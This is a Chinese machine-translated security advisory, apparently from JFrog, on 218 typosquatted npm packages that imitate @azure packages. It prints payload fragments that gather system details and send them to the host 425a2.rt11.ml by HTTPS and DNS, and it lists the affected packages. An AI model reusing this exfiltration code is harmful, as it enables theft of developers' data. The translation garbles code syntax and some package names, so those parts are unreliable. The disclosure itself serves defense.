大规模npm攻击用恶意包攻击Azure开发人员

JFrog安全研究团队发现了数百个恶意程序包,这些程序包旨在通过大规模的输入错位攻击窃取个人身份信息

npm攻击的目标是Azure开发者

JFrog Security研究团队使用我们的自动化工具持续监控流行的开源软件(OSS)存储库,以避免潜在的风险软件供应链安全威胁,并报告任何漏洞恶意包发现给存储库维护者和更广泛的社区。

两天前,我们的几个自动化分析器开始对npm注册表中的一组包发出警报。这组特殊的软件包在几天内稳步增长,从大约50个软件包到200多包(截至3月21日)。

在手动检查了其中一些包之后,很明显这是针对整个系统的有针对性的攻击@azureNPM范围,攻击者使用自动脚本创建帐户并上传覆盖整个范围的恶意软件包。目前,观察到这些软件包的恶意有效载荷是PII(个人身份信息)窃取者。

整个恶意包被披露给了npm维护者,这些包很快就被删除了。

谁是目标?

攻击者的目标似乎是所有使用npm包的npm开发人员@azure范围,与typposquatting攻击。

除了@azure作用域中,以下作用域中的一些包也成为了目标@azure-rest@azure-tests@azure-tools@cadl-lang

由于这组合法软件包每周被下载数千万次,因此一些开发人员很有可能会被输入错误攻击成功地愚弄。

使用什么软件供应链攻击方法?

攻击方法是typposquating -攻击者只需创建一个与现有的@azure作用域包同名的新(恶意)包,但去掉作用域名称

例如,下面是一个合法的azure npm包-

合法的azure npm包

和它的恶意对应物-

恶意的对应

对(至少)218个包进行了此操作。公开的软件包的完整列表发布在JFrog的安全研究网站并作为本文的附录。

攻击者依赖于这样一个事实,即一些开发人员在安装包时可能会错误地忽略@azure前缀。例如,跑步NPM安装核心跟踪错误地使用了正确的命令-NPM安装@azure/core-tracing

除了typposquatting感染方法外,所有恶意软件包都有极高的版本号(例如99.10.9),这表明是依赖混淆攻击。一种可能的猜测是,攻击者试图瞄准从内部Microsoft/Azure网络运行的开发人员和机器,除了基于输入的npm常规用户目标。如前所述,我们没有对这种攻击向量进行研究,因此这只是一个猜测。

使用自动化模糊攻击来源

由于攻击的规模,很明显攻击者使用脚本上传恶意软件包。攻击者还试图通过为每个上传的恶意包创建一个唯一的用户(具有随机生成的名称)来隐藏所有这些恶意包都是由同一作者上传的事实

合作者

恶意载荷的技术分析

如前所述,这些包的恶意有效载荷是PII窃取/侦察有效载荷。

一旦安装了包,恶意代码就会自动运行,并泄露以下详细信息-

  • 以下目录的目录列表(非递归)-
    • C: \
    • D: \
    • /
    • /家庭
  • 用户的用户名
  • 用户的主目录
  • 当前工作目录
  • 所有网口的IP地址
  • 已配置的DNS服务器IP地址
  • (成功)攻击包的名称
const td = {p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo()。用户名、dns: JSON.stringify (dns.getServers ()), ip: JSON.stringify (gethttpips ()), dirs: JSON.stringify (getfile([“C: \ \”、“D :\\","/","/ 家”)),}

这些细节是通过两个泄漏载体泄露的

  1. HTTPS POST到硬编码的主机名-“425a2.rt11.ml”。
  2. DNS查询“.425a2.rt11。其中被替换为泄漏的详细信息,并以十六进制字符串-连接在一起
Var主机名= "425a2.rt11.ml";query_string = toHex (pkg.hn) +“。”+ toHex (pkg.p) +“。”+ toHex (pkg.un) +“。”+ getPathChunks (pkg.c) +“。”+ getIps() +“。”+主机名;...dns.lookup (query_string)

我们怀疑这个恶意的有效载荷要么是为了对易受攻击的目标进行初步侦察(在发送更大的有效载荷之前),要么是为了对Azure用户(可能还有微软开发人员)进行漏洞赏金狩猎。

代码还包含一组笨拙的测试,大概是为了确保恶意负载不会在攻击者自己的机器上运行:

函数isValid(hostname, path, username, dirs) {if (hostname == "DESKTOP-4E1IS0K" && username == "daasadmin" && path. startswith ('D:\\TRANSFER\\')){返回false;}……否则if (hostname == 'lili-pc'){返回false;}……否则if (hostname == 'aws-7grara913oid5jsexgkq'){返回false;}……否则if (hostname == 'instance'){返回false;}……返回true;}

我正在使用JFrog x射线,我受到保护吗?

JFrog x光用户可以免受这种攻击。

JFrog安全研究团队在公开披露之前,将所有经过验证的发现(例如发现的恶意软件包和开源软件包中的零日漏洞)添加到我们的x射线数据库中。对这些恶意软件包的任何使用都会在Xray中标记为漏洞。

与往常一样,任何在Xray中标记的恶意依赖都应该立即删除。

除了Xray为检测到的恶意包提供的保护之外,JFrog Artifactory还自动保护用户免受依赖混淆攻击优先解决特性,因为托管在具有此特性的存储库上的工件将不会在公共存储库中查找。

我是使用目标包的Azure开发人员,我应该怎么做?

通过检查它们的名称是否以@azure*作用域开头,确保所安装的包是合法的。

可以这样做,例如,将当前目录更改为要测试的npm项目,并运行以下命令-

NPM list | grep -f packages.txt

其中“packages.txt”包含受影响软件包的完整列表(参见附录A)。

如果任何返回的结果不以“@azure*”范围开始,则您可能受到此攻击的影响。

结论

幸运的是,由于这些软件包很快就被检测到并泄露了(在它们发布后约2天),因此它们似乎没有被大量安装。下载包的数量参差不齐,但平均每个包大约有50次下载。

很明显,npm维护者非常重视安全性。他们的行为多次证明了这一点,比如先发制人地阻止特定的包名,以避免将来的误输入流行包维护者的双因素身份验证需求

然而,由于供应链攻击的迅速增加,特别是通过npm和PyPI包存储库,似乎应该增加更多的审查和缓解措施。例如,在npm用户创建上添加CAPTCHA机制将不允许攻击者轻松创建任意数量的用户,从而可以上传恶意包,从而使攻击识别更容易(以及基于上传帐户的启发式阻止包)。除此之外,自动包过滤作为安全软件管理过程的一部分,基于SAST或DAST技术(或者最好是两者兼而有之)的需求可能是不可避免的。

除了Xray提供的安全功能之外,JFrog还提供了其他功能几个开源工具这可以帮助识别恶意NPM包。这些工具既可以集成到当前的CI/CD管道中,也可以作为独立的实用程序运行。

与JFrog安全研究保持同步

关注JFrog安全研究团队的最新发现和技术更新安全研究网站并在推特上@JFrogSecurity

附录A -检测到的恶意包

agrifood-farming

ai-anomaly-detector

ai-document-translator

arm-advisor

arm-analysisservices

arm-apimanagement

arm-appconfiguration

arm-appinsights

arm-appplatform

arm-appservice

arm-attestation

arm-authorization

arm-avs

arm-azurestack

arm-azurestackhci

arm-batch

arm-billing

arm-botservice

arm-cdn

arm-changeanalysis

arm-cognitiveservices

arm-commerce

arm-commitmentplans

arm-communication

arm-compute

arm-confluent

arm-consumption

arm-containerinstance

arm-containerregistry

arm-containerservice

arm-cosmosdb

arm-customerinsights

arm-databox

arm-databoxedge

arm-databricks

arm-datacatalog

arm-datadog

arm-datafactory

arm-datalake-analytics

arm-datamigration

arm-deploymentmanager

arm-desktopvirtualization

arm-deviceprovisioningservices

arm-devspaces

arm-devtestlabs

arm-digitaltwins

arm-dns

arm-dnsresolver

arm-domainservices

arm-eventgrid

arm-eventhub

arm-extendedlocation

arm-features

arm-frontdoor

Arm-hanaonazure

arm-hdinsight

arm-healthbot

arm-healthcareapis

arm-hybridcompute

arm-hybridkubernetes

arm-imagebuilder

arm-iotcentral

arm-iothub

arm-keyvault

arm-kubernetesconfiguration

arm-labservices

arm-links

arm-loadtestservice

钳制

arm-logic

arm-machinelearningcompute

arm-machinelearningexperimentation

arm-machinelearningservices

arm-managedapplications

arm-managementgroups

arm-managementpartner

arm-maps

arm-mariadb

arm-marketplaceordering

arm-mediaservices

arm-migrate

arm-mixedreality

arm-mobilenetwork

arm-monitor

arm-msi

arm-mysql

arm-netapp

arm-network

arm-notificationhubs

arm-oep

arm-operationalinsights

手臂运作

arm-orbital

arm-peering

arm规则

arm-portal

arm-postgresql

arm-postgresql-flexible

arm-powerbidedicated

arm-powerbiembedded

arm-privatedns

arm-purview

arm-quota

arm-recoveryservices

arm-recoveryservices-siterecovery

arm-recoveryservicesbackup

arm-rediscache

arm-redisenterprisecache

arm-relay

arm-reservations

arm-resourcegraph

arm-resourcehealth

arm-resourcemover

arm-2022世界杯阿根廷预选赛赛程resources

arm-2022世界杯阿根廷预选赛赛程resources-subscriptions

arm-search

arm-security

arm-serialconsole

arm-servicebus

arm-servicefabric

arm-servicefabricmesh

arm-servicemap

arm-signalr

arm-sql

arm-sqlvirtualmachine

arm-storage

arm-storagecache

arm-storageimportexport

arm-storagesync

arm-storsimple1200series

arm-storsimple8000series

arm-streamanalytics

arm-subscriptions

arm支持

arm-synapse

arm-templatespecs

arm-timeseriesinsights

arm-trafficmanager

arm-videoanalyzer

arm-visualstudio

arm-vmwarecloudsimple

arm-webpubsub

arm-webservices

arm-workspaces

cadl-autorest

cadl-azure-core

cadl-azure-resource-manager

cadl-playground

cadl-providerhub

cadl-providerhub-controller

cadl-providerhub-templates-contoso

cadl-samples

codemodel

communication-chat

通信

communication-identity

communication-network-traversal

communication-phone-numbers

communication-short-codes

communication-sms

confidential-ledger

core-amqp

core-asynciterator-polyfill

core-auth

core-client-1

核心的http

core-http-compat

core-lro

core-paging

core-rest-pipeline

core-tracing

核心xml

重复数据删除

digital-twins-core

dll-docs

dtdl-parser

eslint-config-cadl

eslint-plugin-azure-sdk

eventhubs-checkpointstore-blob

eventhubs-checkpointstore-table

extension-base

helloworld123ccwq

identity-cache-persistence

identity-vscode

iot-device-update

iot-device-update-1

iot-modelsrepository

keyvault-admin

mixed-reality-authentication

mixed-reality-remote-rendering

modelerfour

monitor-opentelemetry-exporter

oai2-to-oai3

openapi3

opentelemetry-instrumentation-azure-sdk

pnpmfile.js

prettier-plugin-cadl

purview-administration

purview-catalog

purview-scanning

quantum-jobs

storage-blob-changefeed

storage-file-datalake

storage-queue

synapse-access-control

synapse-artifacts

synapse-managed-private-endpoints

synapse-monitoring

synapse-spark

test-public-packages

test-utils-perf

testing-recorder-new

testmodeler

video-analyzer-edge

videojs-wistia

web-pubsub

web-pubsub-express